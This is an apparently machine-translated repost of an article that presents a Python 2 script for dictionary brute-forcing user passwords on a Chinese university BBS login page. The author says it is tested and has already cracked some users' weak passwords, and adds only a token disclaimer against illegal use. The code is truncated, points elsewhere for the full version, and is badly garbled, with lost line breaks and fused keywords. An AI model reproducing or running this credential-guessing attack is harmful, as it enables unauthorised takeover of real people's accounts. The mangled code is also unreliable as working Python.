Use Python to hack a 211 University BBS forum user password

Source: Internet
Author: User

This article is just extrapolate, using Python to demonstrate a way of thinking that applies to different websites or forums. Do not use illegal acts.

The following code is pro-test effective, cracked some users weak password. Of course, the success rate of the crack is related to your dictionary, the more complex the dictionary, the higher the success rate, but the longer it takes.

#-*-Coding:utf-8-*-__author__ =' Rocky '# Crack 211 The user password of BBS forum in university#来源: http://www.rcdisk.com# Blade Grass Net-record your self-studyImportCookielib, Urllib, Urllib2, Re, Time,sys class bbs_sysu():     def __init__(self):    #构造urllib的数据头Self.login_url ="Http://bbs.xxxx.edu.cn/login"Self.user_agent =' mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; trident/5.0) 'Self.headers = {' User-agent ': self.user_agent} Self.cookie = Cookielib. Cookiejar () Self.opener = Urllib2.build_opener (urllib2. Httpcookieprocessor (Self.cookie)) Self.pattern = Re.compile (R ' "Success": "(d)" ') Self.guess =FalseSelf.ignore=False     def urlopen_try(self,req,times=5):Data=""        Try: result = Self.opener.open (req) Data=result.read ()exceptException,what:PrintWhat, req;ifTimes>0: Time.sleep ( -) Self.urlopen_try (req,times-1)#time. Sleep (Ten)            Else:Print "Get Failed", req time.sleep (5) self.ignore=True                returnDatareturnData#破解函数, where the essence lies     def crack(self, userid, password):PostData = Urllib.urlencode ({' userid ': UserID,' passwd ': password})#将用户名和密码进行编码req = Urllib2. Request (Self.login_url, Data=postdata, Headers=self.headers)#构造一个Request, incoming header and URL, user's data

Complete code, HTTP://WWW.RCDISK.COM/INDEX.PHP/GROUP/TOPIC/ID-4

Use Python to hack a 211 University BBS forum user password

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.